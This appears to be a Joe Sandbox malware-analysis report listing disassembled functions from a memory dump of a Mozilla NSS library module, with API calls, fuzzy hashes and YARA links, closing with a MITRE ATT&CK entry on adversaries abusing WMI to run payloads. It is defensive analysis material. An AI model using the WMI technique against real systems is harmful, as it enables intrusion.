Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 9ea20f175b96be0c9c6161b7ffd1e8a29ee9f97f5c3873ec09f7782d7e683e4e
Instruction ID: 2db745e94161699479125cbe2c67f0995d84edd45bf6e4f36b21f39d7e93c5dd
Opcode Fuzzy Hash: 9ea20f175b96be0c9c6161b7ffd1e8a29ee9f97f5c3873ec09f7782d7e683e4e
Instruction Fuzzy Hash: 2D11A0B9A02706ABEB109E65DC84B47BBA8FF0435DF20453AE91982A00F331E464C7F1

Function 6CC0DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC206A0: TlsGetValue.KERNEL32 ref: 6CC206C2
Part of subcall function 6CC206A0: EnterCriticalSection.KERNEL32(?), ref: 6CC206D6
Part of subcall function 6CC206A0: PR_Unlock.NSS3 ref: 6CC206EB

CERT_NewCertList.NSS3 ref: 6CC0DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CC0DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CC0DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0E029

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 176e721e7a7facd5156d075fa416bdb8f409c3d78ab8dd6d83cb3272bd89943b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 24112671B44206ABEB101EB95C44BAB76B8BF8075CF08063CE958C7B10F737C816A6E1

Function 6CC28DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC28DE7
EnterCriticalSection.KERNEL32 ref: 6CC28DFC
PR_Unlock.NSS3 ref: 6CC28E2D
PR_SetError.NSS3 ref: 6CC28E49

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2fb11748aea66e1106de2e3a816d4027c06f7cc5173fd621cc4d149f1e696e75
Instruction ID: 4c75275bd0c9ba453fb285bfbf52c1ea2356ad2b3f2ede150bd73c9212538bea
Opcode Fuzzy Hash: 2fb11748aea66e1106de2e3a816d4027c06f7cc5173fd621cc4d149f1e696e75
Instruction Fuzzy Hash: A8118C75A05A159FD700AF78C4886AABBF4FF05714F01496ADD8897B00E734E894CBD2

Function 6CCAAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC95F17,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC95F17,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAACDB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: acf2a8b0b346567e5d789144066e265caae42bdec2e2100bca1af6afebf12771
Instruction ID: e51bd3dbcbed19751bda055017324ffa7534ee587114b854b08a25a1c7ffabe6
Opcode Fuzzy Hash: acf2a8b0b346567e5d789144066e265caae42bdec2e2100bca1af6afebf12771
Instruction Fuzzy Hash: 4C019EB5A01B02ABF710DF69D908757B7E8BF84799B104839E85AC3E00E732F015CB90

Function 6CC99DB0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CC99DC3

Part of subcall function 6CC095B0: TlsGetValue.KERNEL32(00000000,?,6CC200D2,00000000), ref: 6CC095D2
Part of subcall function 6CC095B0: EnterCriticalSection.KERNEL32(?,?,?,6CC200D2,00000000), ref: 6CC095E7
Part of subcall function 6CC095B0: PR_Unlock.NSS3(?,?,?,?,6CC200D2,00000000), ref: 6CC09605

free.MOZGLUE(?), ref: 6CC99DD3
memset.VCRUNTIME140(?,00000000,?), ref: 6CC99DE3
TlsGetValue.KERNEL32 ref: 6CC99DFE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CertificateCriticalDestroyEnterSectionUnlockfreememset
String ID:
API String ID: 265494828-0
Opcode ID: 461501a623ea42e8f8e6eb960ece75b96ca2c6cb27003a6ae30060f7e6b6970a
Instruction ID: e4446b6913db6834f33343ba8e51a486008cb4dba8e882a5fb528045b9c73792
Opcode Fuzzy Hash: 461501a623ea42e8f8e6eb960ece75b96ca2c6cb27003a6ae30060f7e6b6970a
Instruction Fuzzy Hash: E001B1B1A042018FFB106F3ADC4966677BCBF06309F044969E95DC6F61FB21D194CAA2

Function 6CC11DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CC11DFB

Part of subcall function 6CC095B0: TlsGetValue.KERNEL32(00000000,?,6CC200D2,00000000), ref: 6CC095D2
Part of subcall function 6CC095B0: EnterCriticalSection.KERNEL32(?,?,?,6CC200D2,00000000), ref: 6CC095E7
Part of subcall function 6CC095B0: PR_Unlock.NSS3(?,?,?,?,6CC200D2,00000000), ref: 6CC09605

PR_EnterMonitor.NSS3 ref: 6CC11E09

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CC0E190: PR_EnterMonitor.NSS3(?,?,6CC0E175), ref: 6CC0E19C
Part of subcall function 6CC0E190: PR_EnterMonitor.NSS3(6CC0E175), ref: 6CC0E1AA
Part of subcall function 6CC0E190: PR_ExitMonitor.NSS3 ref: 6CC0E208
Part of subcall function 6CC0E190: PL_HashTableRemove.NSS3(?), ref: 6CC0E219
Part of subcall function 6CC0E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC0E231
Part of subcall function 6CC0E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC0E249
Part of subcall function 6CC0E190: PR_ExitMonitor.NSS3 ref: 6CC0E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC11E37
PR_ExitMonitor.NSS3 ref: 6CC11E4A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: f3dc8512f4db6f74208c57748b71c62bfba858dbe2ee02f73e5c83b95ebf2d29
Instruction ID: e766311dfd98bbf717d70e2cbbb7210e431b22e4748832adaab7ee22beed169d
Opcode Fuzzy Hash: f3dc8512f4db6f74208c57748b71c62bfba858dbe2ee02f73e5c83b95ebf2d29
Instruction Fuzzy Hash: E701B171B4815097EA004BABDC08F527768AF61788F100121A51896F91F736E814DB92

Function 6CC11D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC11D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC11D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CC11D9C
free.MOZGLUE(00000000), ref: 6CC11DB8

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 86969000af6d9cdb6fc865e15ab831118ef13490425e624b3358fb6afcbbb78b
Instruction ID: c529d9d2ff4fe2b6d4e72cf18660f4ef281a5df00b19c9627b43cb82f2e4f855
Opcode Fuzzy Hash: 86969000af6d9cdb6fc865e15ab831118ef13490425e624b3358fb6afcbbb78b
Instruction Fuzzy Hash: 4AF049B261961057FB116F5F9C41B873648AFA1788F1102B5DE0847F40F621E410D2E5

Function 6CCAAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC95D40,00000000,?,?,6CC86AC6,6CC9639C), ref: 6CCAAC2D

Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE10
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE24
Part of subcall function 6CC4ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC2D079,00000000,00000001), ref: 6CC4AE5A
Part of subcall function 6CC4ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE6F
Part of subcall function 6CC4ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE7F
Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEB1
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEC9

PK11_FreeSymKey.NSS3(?,6CC95D40,00000000,?,?,6CC86AC6,6CC9639C), ref: 6CCAAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC95D40,00000000,?,?,6CC86AC6,6CC9639C), ref: 6CCAAC59
free.MOZGLUE(8CB6FF01,6CC86AC6,6CC9639C,?,?,?,?,?,?,?,?,?,6CC95D40,00000000,?,6CC9AAD4), ref: 6CCAAC62

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 9aaa317e432b4bc0a77c099e44efea391b2b0d1c5b13881a5ba3b22f3fa23df6
Instruction ID: 5088d9303545c2536a66eae8a5129dd9b99ccd5528db7bf3269cf30678e1c330
Opcode Fuzzy Hash: 9aaa317e432b4bc0a77c099e44efea391b2b0d1c5b13881a5ba3b22f3fa23df6
Instruction Fuzzy Hash: 68014FB5A00201AFEB00DF55E8C4B4677A8AF8475CF18C0A8E9498F706E731E845CFA1

Function 6CCA3E20 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE892,00000000), ref: 6CCA3E54
PR_EnterMonitor.NSS3(282474FF), ref: 6CCA3E6F
PR_ExitMonitor.NSS3(282474FF), ref: 6CCA3E8C
PK11_DestroyContext.NSS3(C0314D75,00000001), ref: 6CCA3E9C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$ContextDestroyEnterErrorExitK11_
String ID:
API String ID: 158480844-0
Opcode ID: 4c9cce76c87b28ba75e163e1cf97abef1aeab1fcbae692a76a02f7c2566b225b
Instruction ID: 3e8583460f2efc364e45461feb1d442164b6f951147063ab5b21ddf8f24120d1
Opcode Fuzzy Hash: 4c9cce76c87b28ba75e163e1cf97abef1aeab1fcbae692a76a02f7c2566b225b
Instruction Fuzzy Hash: 37012670604B1196EB205BB4AC0DBCBBAE09B4170DF080928D74A16AD0FB72E48ACB85

Function 6CC5FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC09003,?), ref: 6CC5FD91

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PORT_Alloc_Util.NSS3(A4686CC6,?), ref: 6CC5FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC6,?,?), ref: 6CC5FDC4
free.MOZGLUE(00000000,?,?), ref: 6CC5FDD1

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 32e010e7a5e629f782c4b5d25306cd440584dbe86c74697b54b56d1f22c25072
Instruction ID: d1b1bc0b5436d200395b62f31ed840783558c2603584455b26350ec9d4c48274
Opcode Fuzzy Hash: 32e010e7a5e629f782c4b5d25306cd440584dbe86c74697b54b56d1f22c25072
Instruction Fuzzy Hash: 39F0AFB6601202ABEB045F55EC90926BB68EF94299B548074E909CAF02FB21D835C7F5

Function 6CD1CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CD1CC61
free.MOZGLUE ref: 6CD1CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CD1CC80
free.MOZGLUE(?), ref: 6CD1CC87

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 235515946e9c8e4c27ed6f46520e3e1012b4a1fb893164b94cd928e6f01ea24f
Instruction ID: dfcf47c569994a47253e04b394dd522f53229bfeea2c889f57b655854a64ca87
Opcode Fuzzy Hash: 235515946e9c8e4c27ed6f46520e3e1012b4a1fb893164b94cd928e6f01ea24f
Instruction Fuzzy Hash: B6E03076B006089BDB10EFA8DC8489677ACEE8D2707150525E791C3700D231F905CBA1

Function 6CBF9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CBF9E1F

Part of subcall function 6CBB13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CB82352,?,00000000,?,?), ref: 6CBB1413
Part of subcall function 6CBB13C0: memcpy.VCRUNTIME140(00000000,6CB82352,00000002,?,?,?,?,6CB82352,?,00000000,?,?), ref: 6CBB14C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CBFA006
ESCAPE expression must be a single character, xrefs: 6CBF9F78

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: b1942d7980942b17e45cd0e40210b97030ff9c89cc91365fdd5522977429a8ea
Instruction ID: 4562ba5f0848918cd88502c6b11d4ef70db30e37e865ab2c0244e1b8f141b54b
Opcode Fuzzy Hash: b1942d7980942b17e45cd0e40210b97030ff9c89cc91365fdd5522977429a8ea
Instruction Fuzzy Hash: 6B810B70E042914BEB04CF29C4903A9B7F2EF85318F188659D8B89BB95D735E84FC792

Function 6CC54D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC54D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CC54DE6

Strings

%d.%d, xrefs: 6CC54DDE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: f21a6cb90cdacf60fec83156c881d40d3ba015e20a4a0a649207556319bc38ae
Instruction ID: cf0ce24527aefd39b2be2dda3254f7e724117b9033e268f115b20bf93f06e389
Opcode Fuzzy Hash: f21a6cb90cdacf60fec83156c881d40d3ba015e20a4a0a649207556319bc38ae
Instruction Fuzzy Hash: B031F6B2D002186BEB109BA1DC01BFF7768EF41308F410469ED199B791FB309939CBA6

Function 6CC60DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CC60DF5
TlsGetValue.KERNEL32 ref: 6CC60E2D
TlsGetValue.KERNEL32 ref: 6CC60E58
TlsGetValue.KERNEL32 ref: 6CC60E84

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: c37c41eece9376b1fdf84adb6e36fd18ef9c98bc24bb4d3717ab90caf3808d4c
Instruction ID: 2816a85a016f40693e66bba12464b2ade4d3c9fd67718f28f8fda9b825614c75
Opcode Fuzzy Hash: c37c41eece9376b1fdf84adb6e36fd18ef9c98bc24bb4d3717ab90caf3808d4c
Instruction Fuzzy Hash: C23104706443A1CBEB006F7ACAC526977B8BF4A308F01466DD9D897F21FB308086CB85

Function 6CC11EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CC11ECE
free.MOZGLUE(?), ref: 6CC11EDF
free.MOZGLUE(?), ref: 6CC11EEF
free.MOZGLUE(?), ref: 6CC11EF5

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 98f857cd5f94f53daa20417fd89c9c55abc08c73afb904e0c2015af18c6478a4
Instruction ID: 872d0d97454fe133032db1a95c23d4c5cc6d0a5f1e30ceccf0d425b9739e935d
Opcode Fuzzy Hash: 98f857cd5f94f53daa20417fd89c9c55abc08c73afb904e0c2015af18c6478a4
Instruction Fuzzy Hash: 9DF0B4B57045016BEB009B6ADC89D27776CEF85594B040424ED09C3E00E729F410D6A1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
